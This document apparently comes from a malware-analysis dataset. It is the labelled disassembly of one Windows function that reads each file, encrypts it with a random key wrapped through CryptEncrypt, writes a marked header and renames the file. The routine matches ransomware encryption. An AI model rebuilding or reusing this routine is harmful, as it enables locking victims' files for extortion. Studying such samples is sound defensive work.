Function at 0x401950
Capabilities:
Delete file
Encrypt or decrypt via wincrypt
Get file size
Move file
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x203c
call fcn.00412f10
mov eax, dword [0x41b004]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x202c], 0xffffffff
mov dword [ebp - 0x2030], 0
mov dword [ebp - 0x2024], 0
mov dword [ebp - 0x201c], 0
mov dword [ebp - 0x2028], 0xaddeadde
mov dword [ebp - 0x2034], 0
mov dword [ebp - 0x2020], 0x10
xor eax, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x2018]
push edx
call section..text
add esp, 8
mov eax, dword [0x41b9ac]
push eax
lea ecx, [ebp - 0x2018]
push ecx
call fcn.00401050
add esp, 8
mov edx, dword [ebp + 8]
push edx
push str.Crypted:__ws_n
call fcn.00401780
add esp, 8
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x202c], eax
cmp dword [ebp - 0x202c], 0xffffffff
jne 0x401a27
or eax, 0xffffffff
jmp 0x401e14
push 0
mov ecx, dword [ebp - 0x202c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x2038], eax
cmp dword [ebp - 0x2038], 0xffffffff
je 0x401a4e
cmp dword [ebp - 0x2038], 0
jne 0x401a63
mov edx, dword [ebp - 0x202c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or eax, 0xffffffff
jmp 0x401e14
mov eax, dword [ebp - 0x2038]
push eax
call fcn.00404935
add esp, 4
mov dword [ebp - 0x2030], eax
cmp dword [ebp - 0x2030], 0
jne 0x401a96
mov ecx, dword [ebp - 0x202c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or eax, 0xffffffff
jmp 0x401e14
push 0
lea edx, [ebp - 0x2024]
push edx
mov eax, dword [ebp - 0x2038]
push eax
mov ecx, dword [ebp - 0x2030]
push ecx
mov edx, dword [ebp - 0x202c]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x401acc
mov eax, dword [ebp - 0x2024]
cmp eax, dword [ebp - 0x2038]
je 0x401af0
mov ecx, dword [ebp - 0x2030]
push ecx
call fcn.0040491a
add esp, 4
mov edx, dword [ebp - 0x202c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or eax, 0xffffffff
jmp 0x401e14
push 0x10
lea eax, [ebp - 0x14]
push eax
call fcn.004016e0
add esp, 8
lea ecx, [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0x2038]
mov ecx, dword [ebp - 0x2030]
call fcn.004017c0
push 0x48
call fcn.00404935
add esp, 4
mov dword [ebp - 0x2034], eax
cmp dword [ebp - 0x2034], 0
jne 0x401b50
mov edx, dword [ebp - 0x2030]
push edx
call fcn.0040491a
add esp, 4
mov eax, dword [ebp - 0x202c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or eax, 0xffffffff
jmp 0x401e14
push 0
push 0x10
lea ecx, [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0x2034]
push edx
call fcn.00401220
add esp, 0x10
push 0x10
push 0
lea eax, [ebp - 0x14]
push eax
call fcn.004011e0
add esp, 0xc
push 0x48
lea ecx, [ebp - 0x2020]
push ecx
mov edx, dword [ebp - 0x2034]
push edx
push 0
push 1
push 0
mov eax, dword [0x420d80]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
jne 0x401bd0
mov ecx, dword [ebp - 0x2030]
push ecx
call fcn.0040491a
add esp, 4
mov edx, dword [ebp - 0x2034]
push edx
call fcn.0040491a
add esp, 4
mov eax, dword [ebp - 0x202c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or eax, 0xffffffff
jmp 0x401e14
push 0
push 0
push 0
mov ecx, dword [ebp - 0x202c]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea edx, [ebp - 0x201c]
push edx
push 4
lea eax, [ebp - 0x2020]
push eax
mov ecx, dword [ebp - 0x202c]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x401c0f
cmp dword [ebp - 0x201c], 4
je 0x401c42
mov edx, dword [ebp - 0x2030]
push edx
call fcn.0040491a
add esp, 4
mov eax, dword [ebp - 0x2034]
push eax
call fcn.0040491a
add esp, 4
mov ecx, dword [ebp - 0x202c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or eax, 0xffffffff
jmp 0x401e14
push 0
lea edx, [ebp - 0x201c]
push edx
mov eax, dword [ebp - 0x2020]
push eax
mov ecx, dword [ebp - 0x2034]
push ecx
mov edx, dword [ebp - 0x202c]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x401c78
mov eax, dword [ebp - 0x201c]
cmp eax, dword [ebp - 0x2020]
je 0x401cab
mov ecx, dword [ebp - 0x2030]
push ecx
call fcn.0040491a
add esp, 4
mov edx, dword [ebp - 0x2034]
push edx
call fcn.0040491a
add esp, 4
mov eax, dword [ebp - 0x202c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or eax, 0xffffffff
jmp 0x401e14
push 0
lea ecx, [ebp - 0x201c]
push ecx
push 4
lea edx, [ebp - 0x2028]
push edx
mov eax, dword [ebp - 0x202c]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x401cd7
cmp dword [ebp - 0x201c], 4
je 0x401d0a
mov ecx, dword [ebp - 0x2030]
push ecx
call fcn.0040491a
add esp, 4
mov edx, dword [ebp - 0x2034]
push edx
call fcn.0040491a
add esp, 4
mov eax, dword [ebp - 0x202c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or eax, 0xffffffff
jmp 0x401e14
push 0
lea ecx, [ebp - 0x201c]
push ecx
mov edx, dword [ebp - 0x2038]
push edx
mov eax, dword [ebp - 0x2030]
push eax
mov ecx, dword [ebp - 0x202c]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x401d40
mov edx, dword [ebp - 0x201c]
cmp edx, dword [ebp - 0x2038]
je 0x401d73
mov eax, dword [ebp - 0x2030]
push eax
call fcn.0040491a
add esp, 4
mov ecx, dword [ebp - 0x2034]
push ecx
call fcn.0040491a
add esp, 4
mov edx, dword [ebp - 0x202c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or eax, 0xffffffff
jmp 0x401e14
mov eax, dword [ebp - 0x202c]
push eax
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov ecx, dword [ebp - 0x202c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x203c], 0
jmp 0x401da8
mov edx, dword [ebp - 0x203c]
add edx, 1
mov dword [ebp - 0x203c], edx
cmp dword [ebp - 0x203c], 4
jge 0x401df1
push 1
lea eax, [ebp - 0x2018]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
je 0x401dca
jmp 0x401df1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x401de4
lea edx, [ebp - 0x2018]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x190
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401d99
mov eax, dword [ebp - 0x2034]
push eax
call fcn.0040491a
add esp, 4
mov ecx, dword [ebp - 0x2030]
push ecx
call fcn.0040491a
add esp, 4
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402e83
mov esp, ebp
pop ebp
ret